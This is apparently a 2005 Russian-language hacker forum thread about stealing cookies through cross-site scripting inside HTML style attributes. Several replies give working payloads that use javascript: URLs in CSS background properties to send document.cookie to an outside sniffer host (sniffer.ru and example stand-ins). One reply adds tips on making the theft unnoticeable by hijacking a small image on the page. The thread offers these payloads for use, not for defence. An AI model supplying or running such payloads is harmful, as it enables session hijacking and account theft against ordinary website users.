xss в стилях

Discussion in 'Болталка' started by xPow, 23 Jun 2005.

  1. xPow

    xPow New Member

    Joined:
    23 Jun 2005
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    вот как реализовать такое:
    нужно не выходя из тега, к примеру: <img ......>
    передать нужному скрипту кукисы.
    т.е. http://example/?document.cookie
    !И НЕ ОТКРЫВАТЬ НОВОЕ ОКНО!
     
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    <img src="http://example/?"+document.cookie>

    если ты имеешь ввиду не выходя за кавычку, то так не получится
     
  3. xPow

    xPow New Member

    Joined:
    23 Jun 2005
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    не... в стилях
    style="здеся"

    я имею введу за '>'
     
  4. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    KEZ, ты ничего не путаешь?
     
  5. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    <img src="http://sasa" style="background:black url(javascript:document.images[0].src='http://sniffer.ru/snif.gif?'+document.cookie)">

    В этом случае самая первая картинка изуродуеется в снифер. Обойти так:
    1)либо написать скриптик, котрый создаст новую картинку
    2)либо сниффер сделать ввиде той картинки, которая заменится
    3)либо выбрать просто не [0] а какуюнить маленькую картинку в теле документа, пропажи/подмены которой не заметно.
     
    #5 Zadoxlik, 23 Jun 2005
    Last edited: 23 Jun 2005
  6. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    конечно путаю, я заголовок не прочитал

    style=background:url(javascript:i=new Image();i.src='http://example/?'+document.cookie)

    можно как Zadoxlik сказал, но не факт что на странице будет images[0]
     
  7. Че Гевара

    Че Гевара Elder - Старейшина

    Joined:
    5 Oct 2003
    Messages:
    1,049
    Likes Received:
    29
    Reputations:
    8
    Аналогичная тема:
    /showthread.php?t=6829
    Ссылка по теме:
    /crackchat/HTML
    Тогда на странице вообще не будет изображений, т.к. первое изображение в хтмл-документе получает 0... А смысл, который подразумевал задохлик как раз в динамической подмене изображения (с помощью скриптовой инъекции)...
     
    #7 Че Гевара, 23 Jun 2005
    Last edited: 23 Jun 2005
  8. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Kez, я имел ввиду, то что, не кажется ли тебе что твой вариант вообще не сработает?

    ЗЫ: изображение палюбэ будет, т.к. мы прописываем энто все в теге имг. Даже если б не было (скажем тег был бы не имг), я написал как пример, что в этом же коде, можно создать изображение.
     
    #8 Zadoxlik, 23 Jun 2005
    Last edited: 23 Jun 2005
  9. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    кажется

    фишка в том что я вообще не въехал про что тут тема...
    извините за тупые ответы
     
  10. xPow

    xPow New Member

    Joined:
    23 Jun 2005
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    это не работает
    наверное в стилях нельзя так. потому как
    работает на ура

    и еще... больше надо в теге <font style=...>
    нежели в <img ....> :-\
     
  11. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    557
    Likes Received:
    111
    Reputations:
    146
    это работать и не должно, Zadoxlik написал как надо зделать
     
  12. xPow

    xPow New Member

    Joined:
    23 Jun 2005
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    ура
    все гуд :)
    всем спасибо :)
     
    #12 xPow, 24 Jun 2005
    Last edited: 24 Jun 2005
  13. Майор

    Майор Active Member

    Joined:
    24 Oct 2004
    Messages:
    557
    Likes Received:
    111
    Reputations:
    146
    это я наврал немного =)
    так будет :
    Code:
    style="background:url(javascript:img=new Image()\;img.src='http://example/?'+document.cookie)"